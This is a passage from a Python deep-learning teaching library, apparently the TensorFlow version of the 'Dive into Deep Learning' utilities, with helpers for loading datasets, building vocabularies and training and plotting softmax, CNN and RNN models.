./chapter_linear-networks/image-classification-dataset.md\ndef show_images(imgs, num_rows, num_cols, titles=None, scale=1.5):\n    \"\"\"Plot a list of images.\"\"\"\n    figsize = (num_cols * scale, num_rows * scale)\n    _, axes = d2l.plt.subplots(num_rows, num_cols, figsize=figsize)\n    axes = axes.flatten()\n    for i, (ax, img) in enumerate(zip(axes, imgs)):\n        ax.imshow(d2l.numpy(img))\n        ax.axes.get_xaxis().set_visible(False)\n        ax.axes.get_yaxis().set_visible(False)\n        if titles:\n            ax.set_title(titles[i])\n    return axes\n\n\n# Defined in file: ./chapter_linear-networks/image-classification-dataset.md\ndef load_data_fashion_mnist(batch_size, resize=None):\n    \"\"\"Download the Fashion-MNIST dataset and then load it into memory.\"\"\"\n    mnist_train, mnist_test = tf.keras.datasets.fashion_mnist.load_data()\n    # Divide all numbers by 255 so that all pixel values are between\n    # 0 and 1, add a batch dimension at the last. And cast label to int32\n    process = lambda X, y: (tf.expand_dims(X, axis=3) / 255,\n                            tf.cast(y, dtype='int32'))\n    resize_fn = lambda X, y: (tf.image.resize_with_pad(X, resize, resize)\n                              if resize else X, y)\n    return (tf.data.Dataset.from_tensor_slices(\n        process(*mnist_train)).batch(batch_size).shuffle(len(\n            mnist_train[0])).map(resize_fn),\n            tf.data.Dataset.from_tensor_slices(\n                process(*mnist_test)).batch(batch_size).map(resize_fn))\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\ndef accuracy(y_hat, y):\n    \"\"\"Compute the number of correct predictions.\"\"\"\n    if len(y_hat.shape) > 1 and y_hat.shape[1] > 1:\n        y_hat = d2l.argmax(y_hat, axis=1)\n    cmp = d2l.astype(y_hat, y.dtype) == y\n    return float(d2l.reduce_sum(d2l.astype(cmp, y.dtype)))\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\ndef evaluate_accuracy(net, data_iter):\n    \"\"\"Compute the accuracy for a model on a dataset.\"\"\"\n    metric = Accumulator(2)  # No. of correct predictions, no. of predictions\n    for X, y in data_iter:\n        metric.add(accuracy(net(X), y), d2l.size(y))\n    return metric[0] / metric[1]\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\nclass Accumulator:\n    \"\"\"For accumulating sums over `n` variables.\"\"\"\n    def __init__(self, n):\n        self.data = [0.0] * n\n\n    def add(self, *args):\n        self.data = [a + float(b) for a, b in zip(self.data, args)]\n\n    def reset(self):\n        self.data = [0.0] * len(self.data)\n\n    def __getitem__(self, idx):\n        return self.data[idx]\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\ndef train_epoch_ch3(net, train_iter, loss, updater):\n    \"\"\"The training loop defined in Chapter 3.\"\"\"\n    # Sum of training loss, sum of training accuracy, no. of examples\n    metric = Accumulator(3)\n    for X, y in train_iter:\n        # Compute gradients and update parameters\n        with tf.GradientTape() as tape:\n            y_hat = net(X)\n            # Keras implementations for loss takes (labels, predictions)\n            # instead of (predictions, labels) that users might implement\n            # in this book, e.g. `cross_entropy` that we implemented above\n            if isinstance(loss, tf.keras.losses.Loss):\n                l = loss(y, y_hat)\n            else:\n                l = loss(y_hat, y)\n        if isinstance(updater, tf.keras.optimizers.Optimizer):\n            params = net.trainable_variables\n            grads = tape.gradient(l, params)\n            updater.apply_gradients(zip(grads, params))\n        else:\n            updater(X.shape[0], tape.gradient(l, updater.params))\n        # Keras loss by default returns the average loss in a batch\n        l_sum = l * float(tf.size(y)) if isinstance(\n            loss, tf.keras.losses.Loss) else tf.reduce_sum(l)\n        metric.add(l_sum, accuracy(y_hat, y), tf.size(y))\n    # Return training loss and training accuracy\n    return metric[0] / metric[2], metric[1] / metric[2]\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\nclass Animator:\n    \"\"\"For plotting data in animation.\"\"\"\n    def __init__(self, xlabel=None, ylabel=None, legend=None, xlim=None,\n                 ylim=None, xscale='linear', yscale='linear',\n                 fmts=('-', 'm--', 'g-.', 'r:'), nrows=1, ncols=1,\n                 figsize=(3.5, 2.5)):\n        # Incrementally plot multiple lines\n        if legend is None:\n            legend = []\n        d2l.use_svg_display()\n        self.fig, self.axes = d2l.plt.subplots(nrows, ncols, figsize=figsize)\n        if nrows * ncols == 1:\n            self.axes = [self.axes,]\n        # Use a lambda function to capture arguments\n        self.config_axes = lambda: d2l.set_axes(self.axes[\n            0], xlabel, ylabel, xlim, ylim, xscale, yscale, legend)\n        self.X, self.Y, self.fmts = None, None, fmts\n\n    def add(self, x, y):\n        # Add multiple data points into the figure\n        if not hasattr(y, \"__len__\"):\n            y = [y]\n        n = len(y)\n        if not hasattr(x, \"__len__\"):\n            x = [x] * n\n        if not self.X:\n            self.X = [[] for _ in range(n)]\n        if not self.Y:\n            self.Y = [[] for _ in range(n)]\n        for i, (a, b) in enumerate(zip(x, y)):\n            if a is not None and b is not None:\n                self.X[i].append(a)\n                self.Y[i].append(b)\n        self.axes[0].cla()\n        for x, y, fmt in zip(self.X, self.Y, self.fmts):\n            self.axes[0].plot(x, y, fmt)\n        self.config_axes()\n        display.display(self.fig)\n        display.clear_output(wait=True)\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\ndef train_ch3(net, train_iter, test_iter, loss, num_epochs, updater):\n    \"\"\"Train a model (defined in Chapter 3).\"\"\"\n    animator = Animator(xlabel='epoch', xlim=[1, num_epochs], ylim=[0.3, 0.9],\n                        legend=['train loss', 'train acc', 'test acc'])\n    for epoch in range(num_epochs):\n        train_metrics = train_epoch_ch3(net, train_iter, loss, updater)\n        test_acc = evaluate_accuracy(net, test_iter)\n        animator.add(epoch + 1, train_metrics + (test_acc,))\n    train_loss, train_acc = train_metrics\n    assert train_loss < 0.5, train_loss\n    assert train_acc <= 1 and train_acc > 0.7, train_acc\n    assert test_acc <= 1 and test_acc > 0.7, test_acc\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\nclass Updater():\n    \"\"\"For updating parameters using minibatch stochastic gradient descent.\"\"\"\n    def __init__(self, params, lr):\n        self.params = params\n        self.lr = lr\n\n    def __call__(self, batch_size, grads):\n        d2l.sgd(self.params, grads, self.lr, batch_size)\n\n\n# Defined in file: ./chapter_linear-networks/softmax-regression-scratch.md\ndef predict_ch3(net, test_iter, n=6):\n    \"\"\"Predict labels (defined in Chapter 3).\"\"\"\n    for X, y in test_iter:\n        break\n    trues = d2l.get_fashion_mnist_labels(y)\n    preds = d2l.get_fashion_mnist_labels(d2l.argmax(net(X), axis=1))\n    titles = [true + '\\n' + pred for true, pred in zip(trues, preds)]\n    d2l.show_images(d2l.reshape(X[0:n], (n, 28, 28)), 1, n,\n                    titles=titles[0:n])\n\n\n# Defined in file: ./chapter_multilayer-perceptrons/underfit-overfit.md\ndef evaluate_loss(net, data_iter, loss):\n    \"\"\"Evaluate the loss of a model on the given dataset.\"\"\"\n    metric = d2l.Accumulator(2)  # Sum of losses, no. of examples\n    for X, y in data_iter:\n        l = loss(net(X), y)\n        metric.add(d2l.reduce_sum(l), d2l.size(l))\n    return metric[0] / metric[1]\n\n\n# Defined in file: ./chapter_multilayer-perceptrons/kaggle-house-price.md\nDATA_HUB = dict()\nDATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'\n\n\n# Defined in file: ./chapter_multilayer-perceptrons/kaggle-house-price.md\ndef download(name, cache_dir=os.path.join('..', 'data')):\n    \"\"\"Download a file inserted into DATA_HUB, return the local filename.\"\"\"\n    assert name in DATA_HUB, f\"{name} does not exist in {DATA_HUB}.\"\n    url, sha1_hash = DATA_HUB[name]\n    os.makedirs(cache_dir, exist_ok=True)\n    fname = os.path.join(cache_dir, url.split('/')[-1])\n    if os.path.exists(fname):\n        sha1 = hashlib.sha1()\n        with open(fname, 'rb') as f:\n            while True:\n                data = f.read(1048576)\n                if not data:\n                    break\n                sha1.update(data)\n        if sha1.hexdigest() == sha1_hash:\n            return fname  # Hit cache\n    print(f'Downloading {fname} from {url}...')\n    r = requests.get(url, stream=True, verify=True)\n    with open(fname, 'wb') as f:\n        f.write(r.content)\n    return fname\n\n\n# Defined in file: ./chapter_multilayer-perceptrons/kaggle-house-price.md\ndef download_extract(name, folder=None):\n    \"\"\"Download and extract a zip/tar file.\"\"\"\n    fname = download(name)\n    base_dir = os.path.dirname(fname)\n    data_dir, ext = os.path.splitext(fname)\n    if ext == '.zip':\n        fp = zipfile.ZipFile(fname, 'r')\n    elif ext in ('.tar', '.gz'):\n        fp = tarfile.open(fname, 'r')\n    else:\n        assert False, 'Only zip/tar files can be extracted.'\n    fp.extractall(base_dir)\n    return os.path.join(base_dir, folder) if folder else data_dir\n\n\ndef download_all():\n    \"\"\"Download all files in the DATA_HUB.\"\"\"\n    for name in DATA_HUB:\n        download(name)\n\n\n# Defined in file: ./chapter_multilayer-perceptrons/kaggle-house-price.md\nDATA_HUB['kaggle_house_train'] = (DATA_URL + 'kaggle_house_pred_train.csv',\n                                  '585e9cc93e70b39160e7921475f9bcd7d31219ce')\n\nDATA_HUB['kaggle_house_test'] = (DATA_URL + 'kaggle_house_pred_test.csv',\n                                 'fa19780a7b011d9b009e8bff8e99922a8ee2eb90')\n\n\n# Defined in file: ./chapter_deep-learning-computation/use-gpu.md\ndef try_gpu(i=0):\n    \"\"\"Return gpu(i) if exists, otherwise return cpu().\"\"\"\n    if len(tf.config.experimental.list_physical_devices('GPU')) >= i + 1:\n        return tf.device(f'/GPU:{i}')\n    return tf.device('/CPU:0')\n\n\ndef try_all_gpus():\n    \"\"\"Return all available GPUs, or [cpu(),] if no GPU exists.\"\"\"\n    num_gpus = len(tf.config.experimental.list_physical_devices('GPU'))\n    devices = [tf.device(f'/GPU:{i}') for i in range(num_gpus)]\n    return devices if devices else [tf.device('/CPU:0')]\n\n\n# Defined in file: ./chapter_convolutional-neural-networks/conv-layer.md\ndef corr2d(X, K):\n    \"\"\"Compute 2D cross-correlation.\"\"\"\n    h, w = K.shape\n    Y = tf.Variable(tf.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1)))\n    for i in range(Y.shape[0]):\n        for j in range(Y.shape[1]):\n            Y[i, j].assign(tf.reduce_sum(X[i:i + h, j:j + w] * K))\n    return Y\n\n\n# Defined in file: ./chapter_convolutional-neural-networks/lenet.md\nclass TrainCallback(tf.keras.callbacks.Callback):\n    \"\"\"A callback to visiualize the training progress.\"\"\"\n    def __init__(self, net, train_iter, test_iter, num_epochs, device_name):\n        self.timer = d2l.Timer()\n        self.animator = d2l.Animator(\n            xlabel='epoch', xlim=[1, num_epochs],\n            legend=['train loss', 'train acc', 'test acc'])\n        self.net = net\n        self.train_iter = train_iter\n        self.test_iter = test_iter\n        self.num_epochs = num_epochs\n        self.device_name = device_name\n\n    def on_epoch_begin(self, epoch, logs=None):\n        self.timer.start()\n\n    def on_epoch_end(self, epoch, logs):\n        self.timer.stop()\n        test_acc = self.net.evaluate(self.test_iter, verbose=0,\n                                     return_dict=True)['accuracy']\n        metrics = (logs['loss'], logs['accuracy'], test_acc)\n        self.animator.add(epoch + 1, metrics)\n        if epoch == self.num_epochs - 1:\n            batch_size = next(iter(self.train_iter))[0].shape[0]\n            num_examples = batch_size * tf.data.experimental.cardinality(\n                self.train_iter).numpy()\n            print(f'loss {metrics[0]:.3f}, train acc {metrics[1]:.3f}, '\n                  f'test acc {metrics[2]:.3f}')\n            print(f'{num_examples / self.timer.avg():.1f} examples/sec on '\n                  f'{str(self.device_name)}')\n\n\ndef train_ch6(net_fn, train_iter, test_iter, num_epochs, lr, device):\n    \"\"\"Train a model with a GPU (defined in Chapter 6).\"\"\"\n    device_name = device._device_name\n    strategy = tf.distribute.OneDeviceStrategy(device_name)\n    with strategy.scope():\n        optimizer = tf.keras.optimizers.SGD(learning_rate=lr)\n        loss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n        net = net_fn()\n        net.compile(optimizer=optimizer, loss=loss, metrics=['accuracy'])\n    callback = TrainCallback(net, train_iter, test_iter, num_epochs,\n                             device_name)\n    net.fit(train_iter, epochs=num_epochs, verbose=0, callbacks=[callback])\n    return net\n\n\n# Defined in file: ./chapter_convolutional-modern/resnet.md\nclass Residual(tf.keras.Model):\n    \"\"\"The Residual block of ResNet.\"\"\"\n    def __init__(self, num_channels, use_1x1conv=False, strides=1):\n        super().__init__()\n        self.conv1 = tf.keras.layers.Conv2D(num_channels, padding='same',\n                                            kernel_size=3, strides=strides)\n        self.conv2 = tf.keras.layers.Conv2D(num_channels, kernel_size=3,\n                                            padding='same')\n        self.conv3 = None\n        if use_1x1conv:\n            self.conv3 = tf.keras.layers.Conv2D(num_channels, kernel_size=1,\n                                                strides=strides)\n        self.bn1 = tf.keras.layers.BatchNormalization()\n        self.bn2 = tf.keras.layers.BatchNormalization()\n\n    def call(self, X):\n        Y = tf.keras.activations.relu(self.bn1(self.conv1(X)))\n        Y = self.bn2(self.conv2(Y))\n        if self.conv3 is not None:\n            X = self.conv3(X)\n        Y += X\n        return tf.keras.activations.relu(Y)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/text-preprocessing.md\nd2l.DATA_HUB['time_machine'] = (d2l.DATA_URL + 'timemachine.txt',\n                                '090b5e7e70c295757f55df93cb0a180b9691891a')\n\n\ndef read_time_machine():\n    \"\"\"Load the time machine dataset into a list of text lines.\"\"\"\n    with open(d2l.download('time_machine'), 'r') as f:\n        lines = f.readlines()\n    return [re.sub('[^A-Za-z]+', ' ', line).strip().lower() for line in lines]\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/text-preprocessing.md\ndef tokenize(lines, token='word'):\n    \"\"\"Split text lines into word or character tokens.\"\"\"\n    if token == 'word':\n        return [line.split() for line in lines]\n    elif token == 'char':\n        return [list(line) for line in lines]\n    else:\n        print('ERROR: unknown token type: ' + token)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/text-preprocessing.md\nclass Vocab:\n    \"\"\"Vocabulary for text.\"\"\"\n    def __init__(self, tokens=None, min_freq=0, reserved_tokens=None):\n        if tokens is None:\n            tokens = []\n        if reserved_tokens is None:\n            reserved_tokens = []\n        # Sort according to frequencies\n        counter = count_corpus(tokens)\n        self.token_freqs = sorted(counter.items(), key=lambda x: x[1],\n                                  reverse=True)\n        # The index for the unknown token is 0\n        self.unk, uniq_tokens = 0, ['<unk>'] + reserved_tokens\n        uniq_tokens += [\n            token for token, freq in self.token_freqs\n            if freq >= min_freq and token not in uniq_tokens]\n        self.idx_to_token, self.token_to_idx = [], dict()\n        for token in uniq_tokens:\n            self.idx_to_token.append(token)\n            self.token_to_idx[token] = len(self.idx_to_token) - 1\n\n    def __len__(self):\n        return len(self.idx_to_token)\n\n    def __getitem__(self, tokens):\n        if not isinstance(tokens, (list, tuple)):\n            return self.token_to_idx.get(tokens, self.unk)\n        return [self.__getitem__(token) for token in tokens]\n\n    def to_tokens(self, indices):\n        if not isinstance(indices, (list, tuple)):\n            return self.idx_to_token[indices]\n        return [self.idx_to_token[index] for index in indices]\n\n\ndef count_corpus(tokens):\n    \"\"\"Count token frequencies.\"\"\"\n    # Here `tokens` is a 1D list or 2D list\n    if len(tokens) == 0 or isinstance(tokens[0], list):\n        # Flatten a list of token lists into a list of tokens\n        tokens = [token for line in tokens for token in line]\n    return collections.Counter(tokens)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/text-preprocessing.md\ndef load_corpus_time_machine(max_tokens=-1):\n    \"\"\"Return token indices and the vocabulary of the time machine dataset.\"\"\"\n    lines = read_time_machine()\n    tokens = tokenize(lines, 'char')\n    vocab = Vocab(tokens)\n    # Since each text line in the time machine dataset is not necessarily a\n    # sentence or a paragraph, flatten all the text lines into a single list\n    corpus = [vocab[token] for line in tokens for token in line]\n    if max_tokens > 0:\n        corpus = corpus[:max_tokens]\n    return corpus, vocab\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/language-models-and-dataset.md\ndef seq_data_iter_random(corpus, batch_size, num_steps):\n    \"\"\"Generate a minibatch of subsequences using random sampling.\"\"\"\n    # Start with a random offset (inclusive of `num_steps - 1`) to partition a\n    # sequence\n    corpus = corpus[random.randint(0, num_steps - 1):]\n    # Subtract 1 since we need to account for labels\n    num_subseqs = (len(corpus) - 1) // num_steps\n    # The starting indices for subsequences of length `num_steps`\n    initial_indices = list(range(0, num_subseqs * num_steps, num_steps))\n    # In random sampling, the subsequences from two adjacent random\n    # minibatches during iteration are not necessarily adjacent on the\n    # original sequence\n    random.shuffle(initial_indices)\n\n    def data(pos):\n        # Return a sequence of length `num_steps` starting from `pos`\n        return corpus[pos:pos + num_steps]\n\n    num_batches = num_subseqs // batch_size\n    for i in range(0, batch_size * num_batches, batch_size):\n        # Here, `initial_indices` contains randomized starting indices for\n        # subsequences\n        initial_indices_per_batch = initial_indices[i:i + batch_size]\n        X = [data(j) for j in initial_indices_per_batch]\n        Y = [data(j + 1) for j in initial_indices_per_batch]\n        yield d2l.tensor(X), d2l.tensor(Y)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/language-models-and-dataset.md\ndef seq_data_iter_sequential(corpus, batch_size, num_steps):\n    \"\"\"Generate a minibatch of subsequences using sequential partitioning.\"\"\"\n    # Start with a random offset to partition a sequence\n    offset = random.randint(0, num_steps)\n    num_tokens = ((len(corpus) - offset - 1) // batch_size) * batch_size\n    Xs = d2l.tensor(corpus[offset:offset + num_tokens])\n    Ys = d2l.tensor(corpus[offset + 1:offset + 1 + num_tokens])\n    Xs = d2l.reshape(Xs, (batch_size, -1))\n    Ys = d2l.reshape(Ys, (batch_size, -1))\n    num_batches = Xs.shape[1] // num_steps\n    for i in range(0, num_batches * num_steps, num_steps):\n        X = Xs[:, i:i + num_steps]\n        Y = Ys[:, i:i + num_steps]\n        yield X, Y\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/language-models-and-dataset.md\nclass SeqDataLoader:\n    \"\"\"An iterator to load sequence data.\"\"\"\n    def __init__(self, batch_size, num_steps, use_random_iter, max_tokens):\n        if use_random_iter:\n            self.data_iter_fn = d2l.seq_data_iter_random\n        else:\n            self.data_iter_fn = d2l.seq_data_iter_sequential\n        self.corpus, self.vocab = d2l.load_corpus_time_machine(max_tokens)\n        self.batch_size, self.num_steps = batch_size, num_steps\n\n    def __iter__(self):\n        return self.data_iter_fn(self.corpus, self.batch_size, self.num_steps)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/language-models-and-dataset.md\ndef load_data_time_machine(batch_size, num_steps, use_random_iter=False,\n                           max_tokens=10000):\n    \"\"\"Return the iterator and the vocabulary of the time machine dataset.\"\"\"\n    data_iter = SeqDataLoader(batch_size, num_steps, use_random_iter,\n                              max_tokens)\n    return data_iter, data_iter.vocab\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-scratch.md\nclass RNNModelScratch:\n    \"\"\"A RNN Model implemented from scratch.\"\"\"\n    def __init__(self, vocab_size, num_hiddens, init_state, forward_fn,\n                 get_params):\n        self.vocab_size, self.num_hiddens = vocab_size, num_hiddens\n        self.init_state, self.forward_fn = init_state, forward_fn\n        self.trainable_variables = get_params(vocab_size, num_hiddens)\n\n    def __call__(self, X, state):\n        X = tf.one_hot(tf.transpose(X), self.vocab_size)\n        X = tf.cast(X, tf.float32)\n        return self.forward_fn(X, state, self.trainable_variables)\n\n    def begin_state(self, batch_size, *args, **kwargs):\n        return self.init_state(batch_size, self.num_hiddens)\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-scratch.md\ndef predict_ch8(prefix, num_preds, net, vocab):\n    \"\"\"Generate new characters following the `prefix`.\"\"\"\n    state = net.begin_state(batch_size=1, dtype=tf.float32)\n    outputs = [vocab[prefix[0]]]\n    get_input = lambda: d2l.reshape(d2l.tensor([outputs[-1]]), (1, 1)).numpy()\n    for y in prefix[1:]:  # Warm-up period\n        _, state = net(get_input(), state)\n        outputs.append(vocab[y])\n    for _ in range(num_preds):  # Predict `num_preds` steps\n        y, state = net(get_input(), state)\n        outputs.append(int(y.numpy().argmax(axis=1).reshape(1)))\n    return ''.join([vocab.idx_to_token[i] for i in outputs])\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-scratch.md\ndef grad_clipping(grads, theta):\n    \"\"\"Clip the gradient.\"\"\"\n    theta = tf.constant(theta, dtype=tf.float32)\n    norm = tf.math.sqrt(\n        sum((tf.reduce_sum(grad**2)).numpy() for grad in grads))\n    norm = tf.cast(norm, tf.float32)\n    new_grad = []\n    if tf.greater(norm, theta):\n        for grad in grads:\n            new_grad.append(grad * theta / norm)\n    else:\n        for grad in grads:\n            new_grad.append(grad)\n    return new_grad\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-scratch.md\ndef train_epoch_ch8(net, train_iter, loss, updater, use_random_iter):\n    \"\"\"Train a model within one epoch (defined in Chapter 8).\"\"\"\n    state, timer = None, d2l.Timer()\n    metric = d2l.Accumulator(2)  # Sum of training loss, no. of tokens\n    for X, Y in train_iter:\n        if state is None or use_random_iter:\n            # Initialize `state` when either it is the first iteration or\n            # using random sampling\n            state = net.begin_state(batch_size=X.shape[0], dtype=tf.float32)\n        with tf.GradientTape(persistent=True) as g:\n            y_hat, state = net(X, state)\n            y = d2l.reshape(tf.transpose(Y), (-1))\n            l = loss(y, y_hat)\n        params = net.trainable_variables\n        grads = g.gradient(l, params)\n        grads = grad_clipping(grads, 1)\n        updater.apply_gradients(zip(grads, params))\n\n        # Keras loss by default returns the average loss in a batch\n        # l_sum = l * float(d2l.size(y)) if isinstance(\n        #     loss, tf.keras.losses.Loss) else tf.reduce_sum(l)\n        metric.add(l * d2l.size(y), d2l.size(y))\n    return math.exp(metric[0] / metric[1]), metric[1] / timer.stop()\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-scratch.md\ndef train_ch8(net, train_iter, vocab, lr, num_epochs, strategy,\n              use_random_iter=False):\n    \"\"\"Train a model (defined in Chapter 8).\"\"\"\n    with strategy.scope():\n        loss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n        updater = tf.keras.optimizers.SGD(lr)\n    animator = d2l.Animator(xlabel='epoch', ylabel='perplexity',\n                            legend=['train'], xlim=[10, num_epochs])\n    predict = lambda prefix: predict_ch8(prefix, 50, net, vocab)\n    # Train and predict\n    for epoch in range(num_epochs):\n        ppl, speed = train_epoch_ch8(net, train_iter, loss, updater,\n                                     use_random_iter)\n        if (epoch + 1) % 10 == 0:\n            print(predict('time traveller'))\n            animator.add(epoch + 1, [ppl])\n    device = d2l.try_gpu()._device_name\n    print(f'perplexity {ppl:.1f}, {speed:.1f} tokens/sec on {str(device)}')\n    print(predict('time traveller'))\n    print(predict('traveller'))\n\n\n# Defined in file: ./chapter_recurrent-neural-networks/rnn-concise.md\nclass RNNModel(tf.keras.layers.Layer):\n    def __init__(self, rnn_layer, vocab_size, **kwargs):\n        super(RNNModel, self).__init__(**kwargs)\n        self.rnn = rnn_layer\n        self.vocab_size = vocab_size\n        self.dense = tf.keras.layers.Dense(vocab_size)\n\n    def call(self, inputs, state):\n        X = tf.one_hot(tf.transpose(inputs), self.vocab_size)\n        # Later RNN like `tf.keras.layers.LSTMCell` return more than two values\n        Y, *state = self.rnn(X, state)\n        output = self.dense(tf.reshape(Y, (-1, Y.shape[-1])))\n        return output, state\n\n    def begin_state(self, *args, **kwargs):\n        return self.rnn.cell.get_initial_state(*args, **kwargs)\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\nd2l.DATA_HUB['fra-eng'] = (d2l.DATA_URL + 'fra-eng.zip',\n                           '94646ad1522d915e7b0f9296181140edcf86a4f5')\n\n\ndef read_data_nmt():\n    \"\"\"Load the English-French dataset.\"\"\"\n    data_dir = d2l.download_extract('fra-eng')\n    with open(os.path.join(data_dir, 'fra.txt'), 'r') as f:\n        return f.read()\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\ndef preprocess_nmt(text):\n    \"\"\"Preprocess the English-French dataset.\"\"\"\n    def no_space(char, prev_char):\n        return char in set(',.!?') and prev_char != ' '\n\n    # Replace non-breaking space with space, and convert uppercase letters to\n    # lowercase ones\n    text = text.replace('\\u202f', ' ').replace('\\xa0', ' ').lower()\n    # Insert space between words and punctuation marks\n    out = [\n        ' ' + char if i > 0 and no_space(char, text[i - 1]) else char\n        for i, char in enumerate(text)]\n    return ''.join(out)\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\ndef tokenize_nmt(text, num_examples=None):\n    \"\"\"Tokenize the English-French dataset.\"\"\"\n    source, target = [], []\n    for i, line in enumerate(text.split('\\n')):\n        if num_examples and i > num_examples:\n            break\n        parts = line.split('\\t')\n        if len(parts) == 2:\n            source.append(parts[0].split(' '))\n            target.append(parts[1].split(' '))\n    return source, target\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\ndef truncate_pad(line, num_steps, padding_token):\n    \"\"\"Truncate or pad sequences.\"\"\"\n    if len(line) > num_steps:\n        return line[:num_steps]  # Truncate\n    return line + [padding_token] * (num_steps - len(line))  # Pad\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\ndef build_array_nmt(lines, vocab, num_steps):\n    \"\"\"Transform text sequences of machine translation into minibatches.\"\"\"\n    lines = [vocab[l] for l in lines]\n    lines = [l + [vocab['<eos>']] for l in lines]\n    array = d2l.tensor([\n        truncate_pad(l, num_steps, vocab['<pad>']) for l in lines])\n    valid_len = d2l.reduce_sum(d2l.astype(array != vocab['<pad>'], d2l.int32),\n                               1)\n    return array, valid_len\n\n\n# Defined in file: ./chapter_recurrent-modern/machine-translation-and-dataset.md\ndef load_data_nmt(batch_size, num_steps, num_examples=600):\n    \"\"\"Return the iterator and the vocabularies of the translation dataset.\"\"\"\n    text = preprocess_nmt(read_data_nmt())\n    source, target = tokenize_nmt(text, num_examples)\n    src_vocab = d2l.Vocab(source, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    tgt_vocab = d2l.Vocab(target, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    src_array, src_valid_len = build_array_nmt(source, src_vocab, num_steps)\n    tgt_array, tgt_valid_len = build_array_nmt(target, tgt_vocab, num_steps)\n    data_arrays = (src_array, src_valid_len, tgt_array, tgt_valid_len)\n    data_iter = d2l.load_array(data_arrays, batch_size)\n    return data_iter, src_vocab, tgt_vocab\n\n\n# Defined in file: ./chapter_attention-mechanisms/attention-cues.md\ndef show_heatmaps(matrices, xlabel, ylabel, titles=None, figsize=(2.5, 2.5),\n                  cmap='Reds'):\n    d2l.use_svg_display()\n    num_rows, num_cols = matrices.shape[0], matrices.shape[1]\n    fig, axes = d2l.plt.subplots(num_rows, num_cols, figsize=figsize,\n                                 sharex=True, sharey=True, squeeze=False)\n    for i, (row_axes, row_matrices) in enumerate(zip(axes, matrices)):\n        for j, (ax, matrix) in enumerate(zip(row_axes, row_matrices)):\n            pcm = ax.imshow(d2l.numpy(matrix), cmap=cmap)\n            if i == num_rows - 1:\n                ax.set_xlabel(xlabel)\n            if j == 0:\n                ax.set_ylabel(ylabel)\n            if titles:\n                ax.set_title(titles[j])\n    fig.colorbar(pcm, ax=axes, shrink=0.6)\n\n\n# Defined in file: ./chapter_optimization/optimization-intro.md\ndef annotate(text, xy, xytext):\n    d2l.plt.gca().annotate(text, xy=xy, xytext=xytext,\n                           arrowprops=dict(arrowstyle='->'))\n\n\n# Defined in file: ./chapter_optimization/gd.md\ndef train_2d(trainer, steps=20, f_grad=None):\n    \"\"\"Optimize a 2D objective function with a customized trainer.\"\"\"\n    # `s1` and `s2` are internal state variables that will be used later\n    x1, x2, s1, s2 = -5, -2, 0, 0\n    results = [(x1, x2)]\n    for i in range(steps):\n        if f_grad:\n            x1, x2, s1, s2 = trainer(x1, x2, s1, s2, f_grad)\n        else:\n            x1, x2, s1, s2 = trainer(x1, x2, s1, s2)\n        results.append((x1, x2))\n    print(f'epoch {i + 1}, x1: {float(x1):f}, x2: {float(x2):f}')\n    return results\n\n\ndef show_trace_2d(f, results):\n    \"\"\"Show the trace of 2D variables during optimization.\"\"\"\n    d2l.set_figsize()\n    d2l.plt.plot(*zip(*results), '-o', color='#ff7f0e')\n    x1, x2 = d2l.meshgrid(d2l.arange(-5.5, 1.0, 0.1),\n                          d2l.arange(-3.0, 1.0, 0.1))\n    d2l.plt.contour(x1, x2, f(x1, x2), colors='#1f77b4')\n    d2l.plt.xlabel('x1')\n    d2l.plt.ylabel('x2')\n\n\n# Defined in file: ./chapter_optimization/minibatch-sgd.md\nd2l.DATA_HUB['airfoil'] = (d2l.DATA_URL + 'airfoil_self_noise.dat',\n                           '76e5be1548fd8222e5074cf0faae75edff8cf93f')\n\n\ndef get_data_ch11(batch_size=10, n=1500):\n    data = np.genfromtxt(d2l.download('airfoil'), dtype=np.float32,\n                         delimiter='\\t')\n    data = (data - data.mean(axis=0)) / data.std(axis=0)\n    data_iter = d2l.load_array((data[:n, :-1], data[:n, -1]), batch_size,\n                               is_train=True)\n    return data_iter, data.shape[1] - 1\n\n\n# Defined in file: ./chapter_optimization/minibatch-sgd.md\ndef train_ch11(trainer_fn, states, hyperparams, data_iter, feature_dim,\n               num_epochs=2):\n    # Initialization\n    w = tf.Variable(\n        tf.random.normal(shape=(feature_dim, 1), mean=0, stddev=0.01),\n        trainable=True)\n    b = tf.Variable(tf.zeros(1), trainable=True)\n\n    # Train\n    net, loss = lambda X: d2l.linreg(X, w, b), d2l.squared_loss\n    animator = d2l.Animator(xlabel='epoch', ylabel='loss',\n                            xlim=[0, num_epochs], ylim=[0.22, 0.35])\n    n, timer = 0, d2l.Timer()\n\n    for _ in range(num_epochs):\n        for X, y in data_iter:\n            with tf.GradientTape() as 